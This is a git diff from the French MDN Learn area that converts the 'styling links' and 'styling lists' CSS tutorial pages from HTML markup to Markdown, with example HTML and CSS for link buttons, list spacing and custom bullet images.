texte.</p> +Enfin, nous avons mis un peu de {{cssxref("padding-right")}} sur les liens pour faire de la place afin que l'image d'arrière-plan se place à l'intérieur, de sorte que nous ne la faisions chevaucher le texte. -<p>Un dernier mot : comment avons-nous sélectionné uniquement les liens externes ? Eh bien, si vous écrivez vos liens HTML correctement, vous ne devriez utiliser des URL absolues que pour les liens externes : il est plus efficace d'utiliser des liens relatifs pour la redirection vers d'autres parties de votre propre site. Le texte "http" ne devrait donc apparaître que dans les liens externes, et nous pouvons le sélectionner avec un <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs">sélecteur d'attribut</a> : <code>a[href*="http]</code> sélectionne les éléments {{htmlelement("a")}}, mais seulement s'ils ont un attribut {{htmlattrxref ("href","a")}} ayant une valeur contenant "http" quelque part à l'intérieur.</p> +Un dernier mot : comment avons-nous sélectionné uniquement les liens externes ? Eh bien, si vous écrivez vos liens HTML correctement, vous ne devriez utiliser des URL absolues que pour les liens externes : il est plus efficace d'utiliser des liens relatifs pour la redirection vers d'autres parties de votre propre site. Le texte "http" ne devrait donc apparaître que dans les liens externes, et nous pouvons le sélectionner avec un [sélecteur d'attribut](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs) : `a[href*="http]` sélectionne les éléments {{htmlelement("a")}}, mais seulement s'ils ont un attribut {{htmlattrxref ("href","a")}} ayant une valeur contenant "http" quelque part à l'intérieur. -<p>Alors voilà, essayez de revoir la section d'apprentissage actif ci-dessus et d'explorer cette nouvelle technique !</p> +Alors voilà, essayez de revoir la section d'apprentissage actif ci-dessus et d'explorer cette nouvelle technique ! -<div class="note"> -<p><strong>Note :</strong> ne vous inquiétez pas si vous n'êtes pas encore familier avec les <a href="/fr/Apprendre/CSS/styliser_boites">arrières-plans</a> et le <a href="/fr/Apps/app_layout/responsive_design_building_blocks">responsive web design</a> ; ceux-ci sont expliqués par ailleurs.</p> -</div> +> **Note :** ne vous inquiétez pas si vous n'êtes pas encore familier avec les [arrières-plans](/fr/Apprendre/CSS/styliser_boites) et le [responsive web design](/fr/Apps/app_layout/responsive_design_building_blocks) ; ceux-ci sont expliqués par ailleurs. -<h2 id="Mise_en_forme_de_liens_comme_des_boutons">Mise en forme de liens comme des boutons</h2> +## Mise en forme de liens comme des boutons -<p>Les outils que vous avez explorés jusqu'à présent dans cet article peuvent également être utilisés d'autres façons. Par exemple, des états tels que hover peuvent être utilisés pour mettre en forme de nombreux éléments différents, pas seulement des liens : vous pouvez définir l'état de survol des paragraphes, des éléments de liste ou d'autres choses.</p> +Les outils que vous avez explorés jusqu'à présent dans cet article peuvent également être utilisés d'autres façons. Par exemple, des états tels que hover peuvent être utilisés pour mettre en forme de nombreux éléments différents, pas seulement des liens : vous pouvez définir l'état de survol des paragraphes, des éléments de liste ou d'autres choses. -<p>En outre, les liens sont très couramment mis en forme de façon à ressembler et à se comporter comme des boutons dans certaines circonstances : un menu de navigation de site Web est généralement balisé comme une liste contenant des liens, et cela peut facilement être mis en forme pour ressembler à un ensemble de boutons de contrôle ou d'onglets qui fournissent à l'utilisateur un accès à d'autres parties du site. Voyons comment.</p> +En outre, les liens sont très couramment mis en forme de façon à ressembler et à se comporter comme des boutons dans certaines circonstances : un menu de navigation de site Web est généralement balisé comme une liste contenant des liens, et cela peut facilement être mis en forme pour ressembler à un ensemble de boutons de contrôle ou d'onglets qui fournissent à l'utilisateur un accès à d'autres parties du site. Voyons comment. -<p>D'abord, un peu d'HTML :</p> +D'abord, un peu d'HTML : -<pre class="brush: html"><ul> - <li><a href="#">Accueil</a></li><li><a href="#">Pizza</a></li><li><a href="#">Musique</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland<e/a></li> -</ul></pre> +```html +<ul> + <li><a href="#">Accueil</a></li><li><a href="#">Pizza</a></li><li><a href="#">Musique</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland<e/a></li> +</ul> +``` -<p>Et maintenant, notre CSS :</p> +Et maintenant, notre CSS : -<pre class="brush: css">body,html { +```css +body,html { margin: 0; font-family: sans-serif; } @@ -401,45 +434,36 @@ a:hover { a:active { background: red; color: white; -}</pre> - -<p>Cela nous donne le résultat suivant :</p> +} +``` -<p>{{ EmbedLiveSample('Mise_en_forme_de_liens_comme_des_boutons', '100%', 100) }}</p> +Cela nous donne le résultat suivant : -<p>Expliquons ce qui se passe ici, en nous concentrant sur les parties les plus intéressantes :</p> +{{ EmbedLiveSample('Mise_en_forme_de_liens_comme_des_boutons', '100%', 100) }} -<ul> - <li>notre deuxième règle supprime le {{cssxref("padding")}} par défaut de l'élément {{htmlelement ("ul")}}, et définit sa largeur de façon à couvrir 100% du conteneur externe (le {{htmlelement("body")}} dans ce cas) ;</li> - <li>par défaut, les éléments {{htmlelement("li")}} se présentent normalement sous forme de blocs (voir les types de boîtes CSS pour rappel), ce qui signifie qu'ils vont se trouver sur leurs propres lignes ; dans ce cas, nous créons une liste horizontale de liens ; pour cela, dans la troisième règle, nous mettons la propriété {{cssxref("display")}} à inline, ce qui fait que les éléments de la liste se trouvent tous sur la même ligne : ils se comportent maintenant comme des éléments inline ;</li> - <li>la quatrième règle, qui met en forme l'élément {{htmlelement("a")}}, est la plus compliquée ici ; passons-la en revue étape par étape : - <ul> - <li>comme dans les exemples précédents, nous commençons par désactiver la valeur par défaut {{cssxref("text-decoration")}} et {{cssxref("outline")}} : nous ne voulons pas que ceux-ci gâchent notre présentation ;</li> - <li>ensuite, nous mettons le {{cssxref ("display")}} à <code>inline-block</code> : les éléments {{htmlelement ("a")}} sont inline par défaut et, bien que nous ne voulions pas qu'ils s'étalent sur leurs propres lignes comme une valeur de <code>block</code> le ferait, nous voulons néanmoins être en mesure de les dimensionner : <code>inline-block</code> nous permet de le réaliser ;</li> - <li>maintenant, passons au dimensionnement ; nous voulons remplir toute la largeur de l'{{htmlelement("ul")}}, laisser une petite marge entre chaque bouton (mais sans espace sur le bord droit), et nous avons 5 boutons pour accueillir tout cela, qui doit avoir la même taille ; pour ce faire, nous définissons la {{cssxref ("width")}} à 19,5%, et la {{cssxref ("margin-right")}} à 0,625% ; vous remarquerez que toute cette largeur s'élève à 100,625%, ce qui ferait que le dernier bouton déborde sur l'<code><ul></code> et passe à la ligne suivante ; cependant, nous le ramenons à 100%, en utilisant la règle suivante, qui sélectionne seulement le dernier <code><a></code> dans la liste, et en supprime la marge ; terminé !</li> - <li>les trois dernières déclarations sont assez simples et ne sont principalement présentes qu'à des fins esthétiques ; nous centrons le texte à l'intérieur de chaque lien, nous définissons {{cssxref("line-height")}} à 3 pour donner un peu de hauteur aux boutons (ce qui a aussi l'avantage de centrer le texte verticalement) et nous définissons la couleur du texte à noir.</li> - </ul> - </li> -</ul> +Expliquons ce qui se passe ici, en nous concentrant sur les parties les plus intéressantes : -<div class="note"> -<p><strong>Note :</strong> vous avez peut-être remarqué que les éléments de la liste dans le HTML sont tous placés sur la même ligne ; cela est dû au fait que les espaces/sauts de ligne entre les éléments inline block créent des espaces sur la page, tout comme des espaces entre les mots, et que de tels espaces casseraient la disposition de notre menu de navigation horizontale ; nous avons donc supprimé les espaces ; vous pouvez trouver plus d'informations (et de solutions) à propos de ce problème sur <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">Fighting the space between inline block elements</a>.</p> -</div> +- notre deuxième règle supprime le {{cssxref("padding")}} par défaut de l'élément {{htmlelement ("ul")}}, et définit sa largeur de façon à couvrir 100% du conteneur externe (le {{htmlelement("body")}} dans ce cas) ; +- par défaut, les éléments {{htmlelement("li")}} se présentent normalement sous forme de blocs (voir les types de boîtes CSS pour rappel), ce qui signifie qu'ils vont se trouver sur leurs propres lignes ; dans ce cas, nous créons une liste horizontale de liens ; pour cela, dans la troisième règle, nous mettons la propriété {{cssxref("display")}} à inline, ce qui fait que les éléments de la liste se trouvent tous sur la même ligne : ils se comportent maintenant comme des éléments inline ; +- la quatrième règle, qui met en forme l'élément {{htmlelement("a")}}, est la plus compliquée ici ; passons-la en revue étape par étape : -<h2 id="Résumé">Résumé</h2> + - comme dans les exemples précédents, nous commençons par désactiver la valeur par défaut {{cssxref("text-decoration")}} et {{cssxref("outline")}} : nous ne voulons pas que ceux-ci gâchent notre présentation ; + - ensuite, nous mettons le {{cssxref ("display")}} à `inline-block` : les éléments {{htmlelement ("a")}} sont inline par défaut et, bien que nous ne voulions pas qu'ils s'étalent sur leurs propres lignes comme une valeur de `block` le ferait, nous voulons néanmoins être en mesure de les dimensionner : `inline-block` nous permet de le réaliser ; + - maintenant, passons au dimensionnement ; nous voulons remplir toute la largeur de l'{{htmlelement("ul")}}, laisser une petite marge entre chaque bouton (mais sans espace sur le bord droit), et nous avons 5 boutons pour accueillir tout cela, qui doit avoir la même taille ; pour ce faire, nous définissons la {{cssxref ("width")}} à 19,5%, et la {{cssxref ("margin-right")}} à 0,625% ; vous remarquerez que toute cette largeur s'élève à 100,625%, ce qui ferait que le dernier bouton déborde sur l'`<ul>` et passe à la ligne suivante ; cependant, nous le ramenons à 100%, en utilisant la règle suivante, qui sélectionne seulement le dernier `<a>` dans la liste, et en supprime la marge ; terminé ! + - les trois dernières déclarations sont assez simples et ne sont principalement présentes qu'à des fins esthétiques ; nous centrons le texte à l'intérieur de chaque lien, nous définissons {{cssxref("line-height")}} à 3 pour donner un peu de hauteur aux boutons (ce qui a aussi l'avantage de centrer le texte verticalement) et nous définissons la couleur du texte à noir. -<p>Nous espérons que cet article vous a fourni tout ce que vous aviez besoin de savoir sur les liens - pour l'instant ! L'article final de notre module de Mise en forme de texte détaille comment utiliser des polices personnalisées (ou polices web, comme elles sont mieux connues) sur vos sites web.</p> +> **Note :** vous avez peut-être remarqué que les éléments de la liste dans le HTML sont tous placés sur la même ligne ; cela est dû au fait que les espaces/sauts de ligne entre les éléments inline block créent des espaces sur la page, tout comme des espaces entre les mots, et que de tels espaces casseraient la disposition de notre menu de navigation horizontale ; nous avons donc supprimé les espaces ; vous pouvez trouver plus d'informations (et de solutions) à propos de ce problème sur [Fighting the space between inline block elements](https://css-tricks.com/fighting-the-space-between-inline-block-elements/). -<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> +## Résumé -<h2 id="Dans_ce_module">Dans ce module</h2> +Nous espérons que cet article vous a fourni tout ce que vous aviez besoin de savoir sur les liens - pour l'instant ! L'article final de notre module de Mise en forme de texte détaille comment utiliser des polices personnalisées (ou polices web, comme elles sont mieux connues) sur vos sites web. +{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de listes</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens">Mise en forme des liens</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Polices de caractères web</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Composition d'une page d'accueil d'une école communale</a></li> -</ul> +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Style de listes](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Mise en forme des liens](/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens) +- [Polices de caractères web](/fr/docs/Learn/CSS/Styling_text/Web_fonts) +- [Composition d'une page d'accueil d'une école communale](/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage) diff --git a/files/fr/learn/css/styling_text/styling_lists/index.md b/files/fr/learn/css/styling_text/styling_lists/index.md index e7fb1721ba..d21469eda6 100644 --- a/files/fr/learn/css/styling_text/styling_lists/index.md +++ b/files/fr/learn/css/styling_text/styling_lists/index.md @@ -12,178 +12,194 @@ tags: - Texte translation_of: Learn/CSS/Styling_text/Styling_lists --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div> - -<p>Les <a href="/fr/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals#Listes">listes</a> se comportent comme la plupart des autres textes, mais il existe des propriétés CSS propres aux listes que vous devez connaître, et quelques bonnes pratiques à prendre en compte. Cet article explique tout.</p> +Les [listes](/fr/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals#Listes) se comportent comme la plupart des autres textes, mais il existe des propriétés CSS propres aux listes que vous devez connaître, et quelques bonnes pratiques à prendre en compte. Cet article explique tout. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances de base informatiques, bases HTML (étudiées dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction à HTML</a>), bases CSS (étudiées dans <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction à CSS</a>), <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">la mise en forme du texte</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec les meilleures pratiques et propriétés liées aux styles de liste.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances de base informatiques, bases HTML (étudiées dans + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction à HTML</a + >), bases CSS (étudiées dans + <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS" + >Introduction à CSS</a + >), + <a + href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte" + >la mise en forme du texte</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec les meilleures pratiques et propriétés liées aux + styles de liste. + </td> + </tr> + </tbody> </table> -<h2 id="Un_exemple_de_liste_simple">Un exemple de liste simple</h2> +## Un exemple de liste simple -<p>Pour commencer, regardons un exemple de liste simple. Au long de cet article nous verrons les listes non ordonnées, ordonnées et des listes descriptives — tous les styles ont des fonctionnalités similaires, mais il existe quelques particularités en fonction du type de liste. Un exemple sans style est <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">disponible sur Github</a> (voyez aussi le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">code source</a>).</p> +Pour commencer, regardons un exemple de liste simple. Au long de cet article nous verrons les listes non ordonnées, ordonnées et des listes descriptives — tous les styles ont des fonctionnalités similaires, mais il existe quelques particularités en fonction du type de liste. Un exemple sans style est [disponible sur Github](http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html) (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html)). -<p>Le code HTML pour nos exemples de liste ressemble à ceci :</p> +Le code HTML pour nos exemples de liste ressemble à ceci : -<pre class="brush: html"><h2>Liste de courses (non ordonnée)</h2> +```html +<h2>Liste de courses (non ordonnée)</h2> -<p>Paragraphe de référence, paragraphe de référence, paragraphe de référence, -paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> +<p>Paragraphe de référence, paragraphe de référence, paragraphe de référence, +paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> -<ul> - <li>Houmous</li> - <li>Pain blanc</li> - <li>Salade verte</li> - <li>Fromage halloumi</li> -</ul> +<ul> + <li>Houmous</li> + <li>Pain blanc</li> + <li>Salade verte</li> + <li>Fromage halloumi</li> +</ul> -<h2>Liste de recette (ordonnée)</h2> +<h2>Liste de recette (ordonnée)</h2> -<p>paragraphe de référence, paragraphe de référence, paragraphe de référence, -paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> +<p>paragraphe de référence, paragraphe de référence, paragraphe de référence, +paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> -<ol> - <li>Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> - <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> - <li>Laver et hacher la salade.</li> - <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> -</ol> +<ol> + <li>Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> + <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> + <li>Laver et hacher la salade.</li> + <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> +</ol> -<h2>Liste descriptive des ingrédients</h2> +<h2>Liste descriptive des ingrédients</h2> -<p>paragraphe de référence, paragraphe de référence, paragraphe de référence, -paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> +<p>paragraphe de référence, paragraphe de référence, paragraphe de référence, +paragraphe de référence, paragraphe de référence, paragraphe de référence.</p> -<dl> - <dt>Houmous</dt> - <dd>Une purée ou sauce épaisse généralement faite de pois chiches mélangés avec du tahini, du jus de citron, du sel, de l'ail et d'autres aromates.</dd> - <dt>Pain pitta</dt> - <dd>Un pain plat moelleux, légèrement levé.</dd> - <dt>Halloumi</dt> - <dd>Fromage à pâte mi-dure, non affiné, saumuré, à point de fusion plus élevé que d'habitude, généralement fabriqué à partir de lait de chèvre et de brebis.</dd> - <dt>Salade verte</dt> - <dd>Ces feuilles vertes et saines que beaucoup d'entre nous n'utilisent que pour garnir les kebabs.</dd> -</dl></pre> +<dl> + <dt>Houmous</dt> + <dd>Une purée ou sauce épaisse généralement faite de pois chiches mélangés avec du tahini, du jus de citron, du sel, de l'ail et d'autres aromates.</dd> + <dt>Pain pitta</dt> + <dd>Un pain plat moelleux, légèrement levé.</dd> + <dt>Halloumi</dt> + <dd>Fromage à pâte mi-dure, non affiné, saumuré, à point de fusion plus élevé que d'habitude, généralement fabriqué à partir de lait de chèvre et de brebis.</dd> + <dt>Salade verte</dt> + <dd>Ces feuilles vertes et saines que beaucoup d'entre nous n'utilisent que pour garnir les kebabs.</dd> +</dl> +``` -<p>Si vous allez à l'exemple réel maintenant, et examinez les éléments de la liste en utilisant <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">les outils de développement du navigateur</a>, vous noterez quelques valeurs de style par défaut :</p> +Si vous allez à l'exemple réel maintenant, et examinez les éléments de la liste en utilisant [les outils de développement du navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools), vous noterez quelques valeurs de style par défaut : -<ul> - <li>Les éléments {{htmlelement("ul")}} et {{htmlelement("ol")}} ont une propriété {{cssxref("margin")}} de <code>16 px</code> (<code>1 em</code>) en haut et en bas et une propriété {{cssxref("padding-left")}} de <code>40 px</code> (<code>2.5 em</code>.)</li> - <li>Les éléments de la liste ({{htmlelement("li")}}) n'ont aucun paramètre d'espacement par défaut.</li> - <li>L'élément {{htmlelement("dl")}} a des propriétés {{cssxref("margin")}} de<code>16 px</code> (<code>1 em</code>) en haut et en bas , mais pas de définition du remplissage.</li> - <li>Les éléments {{htmlelement("dd")}} ont une propriété {{cssxref("margin-left")}} de <code>40 px</code> (<code>2.5 em</code>.)</li> - <li>Les éléments {{htmlelement("p")}}, inclus pour référence, ont des propriétés {{cssxref("margin")}} de <code>16 px</code> (<code>1 em</code>) en haut et en bas, identiques à ceux des différents types de listes.</li> -</ul> +- Les éléments {{htmlelement("ul")}} et {{htmlelement("ol")}} ont une propriété {{cssxref("margin")}} de `16 px` (`1 em`) en haut et en bas et une propriété {{cssxref("padding-left")}} de `40 px` (`2.5 em`.) +- Les éléments de la liste ({{htmlelement("li")}}) n'ont aucun paramètre d'espacement par défaut. +- L'élément {{htmlelement("dl")}} a des propriétés {{cssxref("margin")}} de`16 px` (`1 em`) en haut et en bas , mais pas de définition du remplissage. +- Les éléments {{htmlelement("dd")}} ont une propriété {{cssxref("margin-left")}} de `40 px` (`2.5 em`.) +- Les éléments {{htmlelement("p")}}, inclus pour référence, ont des propriétés {{cssxref("margin")}} de `16 px` (`1 em`) en haut et en bas, identiques à ceux des différents types de listes. -<h2 id="Gestion_d'espacement_des_listes">Gestion d'espacement des listes</h2> +## Gestion d'espacement des listes -<p>Si vous modifiez le style des listes, vous devez ajuster l'espacement vertical et horizontal de manière à le rendre identique à celui des éléments environnants (tels que paragraphes ou images : ce principe est parfois appelé « rythme vertical » — vous pouvez voir l'<a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">exemple de style terminé</a> sur Github et trouver<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html"> le code source</a> aussi.)</p> +Si vous modifiez le style des listes, vous devez ajuster l'espacement vertical et horizontal de manière à le rendre identique à celui des éléments environnants (tels que paragraphes ou images : ce principe est parfois appelé « rythme vertical » — vous pouvez voir l'[exemple de style terminé](http://mdn.github.io/learning-area/css/styling-text/styling-lists/) sur Github et trouver[ le code source](https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html) aussi.) -<p>Le CSS utilisé pour le style et l'espacement du texte est le suivant :</p> +Le CSS utilisé pour le style et l'espacement du texte est le suivant : -<pre>/* Style général */ + /* Style général */ -html { - font-family: Helvetica, Arial, sans-serif; - font-size: 10px; -} + html { + font-family: Helvetica, Arial, sans-serif; + font-size: 10px; + } -h2 { - font-size: 2rem; -} + h2 { + font-size: 2rem; + } -ul,ol,dl,p { - font-size: 1.5rem; -} + ul,ol,dl,p { + font-size: 1.5rem; + } -li, p { - line-height: 1.5; -} + li, p { + line-height: 1.5; + } -/* Styles des listes descriptives */ + /* Styles des listes descriptives */ -dd, dt { - line-height: 1.5; -} + dd, dt { + line-height: 1.5; + } -dt { - font-weight: bold; -} + dt { + font-weight: bold; + } -dd { - margin-bottom: 1.5rem; -}</pre> + dd { + margin-bottom: 1.5rem; + } -<ul> - <li>La première règle définit une police de caractères pour l'ensemble du site avec une taille de base de 10 px. Elles sont héritées par tous les éléments de la page.</li> - <li>Les règles 2 et 3 définissent des tailles relatives de la police pour les titres, les différents types de liste (les enfants des éléments de liste en héritent) et les paragraphes. Cela signifie que les paragraphes et listes auront la même taille de police et les mêmes espacements entre le haut et le bas, ce qui aidera à garder un rythme vertical cohérent.</li> - <li>La règle 4 définit la même propriété {{cssxref("line-height")}} pour les paragraphes et éléments de listes — ainsi les paragraphes et chaque élément de liste individuellement auront le même espacement entre les lignes. Cela aidera également à garder un rythme vertical cohérent.</li> - <li>Les règles 5 et 6 s'appliquent à la liste descriptive — nous définissons la même valeur pour la propriété <code>line-height</code> pour les termes à décrire et les descriptions, valeur utilisée pour les paragraphes et les éléments de liste. Encore une fois, la cohérence est bonne ! Nous écrivons aussi les termes à décrire avec une police en gras, pour les distinguer visuellement plus facilement.</li> -</ul> +- La première règle définit une police de caractères pour l'ensemble du site avec une taille de base de 10 px. Elles sont héritées par tous les éléments de la page. +- Les règles 2 et 3 définissent des tailles relatives de la police pour les titres, les différents types de liste (les enfants des éléments de liste en héritent) et les paragraphes. Cela signifie que les paragraphes et listes auront la même taille de police et les mêmes espacements entre le haut et le bas, ce qui aidera à garder un rythme vertical cohérent. +- La règle 4 définit la même propriété {{cssxref("line-height")}} pour les paragraphes et éléments de listes — ainsi les paragraphes et chaque élément de liste individuellement auront le même espacement entre les lignes. Cela aidera également à garder un rythme vertical cohérent. +- Les règles 5 et 6 s'appliquent à la liste descriptive — nous définissons la même valeur pour la propriété `line-height` pour les termes à décrire et les descriptions, valeur utilisée pour les paragraphes et les éléments de liste. Encore une fois, la cohérence est bonne ! Nous écrivons aussi les termes à décrire avec une police en gras, pour les distinguer visuellement plus facilement. -<h2 id="Style_propre_à_une_liste">Style propre à une liste</h2> +## Style propre à une liste -<p>Maintenant que nous avons examiné l'espacement général des listes, explorons quelques propriétés propres à une liste. Il y a trois propriétés à connaître pour commencer ; elles s'appliquent aux éléments {{htmlelement("ul")}} ou {{htmlelement("ol")}} :</p> +Maintenant que nous avons examiné l'espacement général des listes, explorons quelques propriétés propres à une liste. Il y a trois propriétés à connaître pour commencer ; elles s'appliquent aux éléments {{htmlelement("ul")}} ou {{htmlelement("ol")}} : -<ul> - <li>{{cssxref("list-style-type")}} : définit le type de puces à utiliser pour la liste, par exemple des puces carrées ou rondes pour une liste non ordonnée ou bien des nombres, des lettres ou des chiffres romains pour une liste ordonnée.</li> - <li>{{cssxref("list-style-position")}} : définit si les puces seront disposées à l'intérieur ou à l'extérieur du début de l'élément liste.</li> - <li>{{cssxref("list-style-image")}} : permet d'utiliser une image personnalisée pour la puce, plutôt qu'un simple carré ou rond.</li> -</ul> +- {{cssxref("list-style-type")}} : définit le type de puces à utiliser pour la liste, par exemple des puces carrées ou rondes pour une liste non ordonnée ou bien des nombres, des lettres ou des chiffres romains pour une liste ordonnée. +- {{cssxref("list-style-position")}} : définit si les puces seront disposées à l'intérieur ou à l'extérieur du début de l'élément liste. +- {{cssxref("list-style-image")}} : permet d'utiliser une image personnalisée pour la puce, plutôt qu'un simple carré ou rond. -<h3 id="Styles_de_puces">Styles de puces</h3> +### Styles de puces -<p>Comme mentionné ci-dessus, la propriété {{cssxref("list-style-type")}} vous permet de définir le type de puce à utiliser. Dans notre exemple, nous avons défini une liste ordonnée utilisant les chiffres romains en majuscules avec :</p> +Comme mentionné ci-dessus, la propriété {{cssxref("list-style-type")}} vous permet de définir le type de puce à utiliser. Dans notre exemple, nous avons défini une liste ordonnée utilisant les chiffres romains en majuscules avec : -<pre class="brush: css">ol { +```css +ol { list-style-type: upper-roman; -}</pre> +} +``` -<p>Cela donne l'apparence suivante :</p> +Cela donne l'apparence suivante : -<p><img alt="une liste ordonnée avec les puces placées à l'extérieur du texte de l'élément de la liste." src="ex_1.png"></p> + -<p>Vous pouvez trouver beaucoup plus d'options en consultant la page de référence {{cssxref("list-style-type")}}.</p> +Vous pouvez trouver beaucoup plus d'options en consultant la page de référence {{cssxref("list-style-type")}}. -<h3 id="Position_des_puces">Position des puces</h3> +### Position des puces -<p>La propriété {{cssxref("list-style-position")}} définit si les puces apparaissent à l'extérieur ou à l'intérieur de la liste devant chaque élément. Par défaut, la valeur est <code>outside</code> et les puces apparaîssent comme ci-dessus.</p> +La propriété {{cssxref("list-style-position")}} définit si les puces apparaissent à l'extérieur ou à l'intérieur de la liste devant chaque élément. Par défaut, la valeur est `outside` et les puces apparaîssent comme ci-dessus. -<p>Si vous choisissez la valeur <code>inside</code>, les puces seront disposées dans la ligne :</p> +Si vous choisissez la valeur `inside`, les puces seront disposées dans la ligne : -<pre class="brush: css">ol { +```css +ol { list-style-type: upper-roman; list-style-position: inside; -}</pre> +} +``` -<p><img alt="une liste ordonnée avec les puces intégrées au texte des éléments de la liste." src="ex_2.png"></p> + -<h3 id="Utilisation_d'une_puce_image_personnalisée">Utilisation d'une puce image personnalisée</h3> +### Utilisation d'une puce image personnalisée -<p>La propriété {{cssxref("list-style-image")}} vous permet d'utiliser une image pour personnaliser vos puces. La syntaxe est assez simple :</p> +La propriété {{cssxref("list-style-image")}} vous permet d'utiliser une image pour personnaliser vos puces. La syntaxe est assez simple : -<pre class="brush: css">ul { +```css +ul { list-style-image: url(star.svg); -}</pre> +} +``` -<p>Cependant, cette propriété est un peu limitée en terme de contrôle de la position, de la taille, etc. des puces. Il vaut mieux utiliser la famille de propriétés de {{cssxref ("background")}}, dont vous apprendrez beaucoup plus dans le module <a href="/fr/Apprendre/CSS/styliser_boites"> Styliser les boîtes</a>. Pour l'instant, voici un avant-goût !</p> +Cependant, cette propriété est un peu limitée en terme de contrôle de la position, de la taille, etc. des puces. Il vaut mieux utiliser la famille de propriétés de {{cssxref ("background")}}, dont vous apprendrez beaucoup plus dans le module [Styliser les boîtes](/fr/Apprendre/CSS/styliser_boites). Pour l'instant, voici un avant-goût ! -<p>Dans notre exemple achevé, nous avons appliqué un style à la liste non ordonnée (en plus de ce que vous avez déjà vu ci-dessus) comme ceci :</p> +Dans notre exemple achevé, nous avons appliqué un style à la liste non ordonnée (en plus de ce que vous avez déjà vu ci-dessus) comme ceci : -<pre class="brush: css">ul { +```css +ul { padding-left: 2rem; list-style-type: none; } @@ -194,140 +210,143 @@ ul li { background-position: 0 0; background-size: 1.6rem 1.6rem; background-repeat: no-repeat; -}</pre> +} +``` -<p>Voici ce que nous avons fait :</p> +Voici ce que nous avons fait : -<ul> - <li>abaissé la valeur de la propriété {{cssxref ("padding-left")}} de l'élément {{htmlelement ("ul")}} de <code>40px</code> par défaut à <code>20px</code>, puis défini la même valeur pour les éléments de la liste. Ainsi, l'ensemble des éléments d'une liste non ordonnée seront toujours alignés avec les éléments d'une liste ordonnée et les descriptions d'une liste descriptive; tout en disposant d'un remplissage où les images d'arrière-plan seront placées. Si nous ne le faisions pas, les images d'arrière-plan et le texte de l'élément de liste se superposeraient, ce qui ferait brouillon.</li> - <li>défini la propriété {{cssxref("list-style-type")}} à <code>none</code>, ainsi aucune puce par défaut n'apparaît. Nous allons utiliser les propriétés de {{cssxref("background")}} pour gérer les puces.</li> - <li>inséré une puce pour chaque élément de la liste désordonnée. Les propriétés pertinentes sont les suivantes : - <ul> - <li>{{cssxref("background-image")}} : référence du chemin d'accès au fichier image utilisé comme puce.</li> - <li>{{cssxref("background-position")}} : emplacement de l'image dans l'arrière-plan de l'élément sélectionné — dans ce cas, nous disons <code>0 0</code> : la puce apparaîtra dans le coin supérieur gauche de chaque élément de la liste.</li> - <li>{{cssxref("background-size")}} : taille de l'image d'arrière-plan. L'idéal est que les 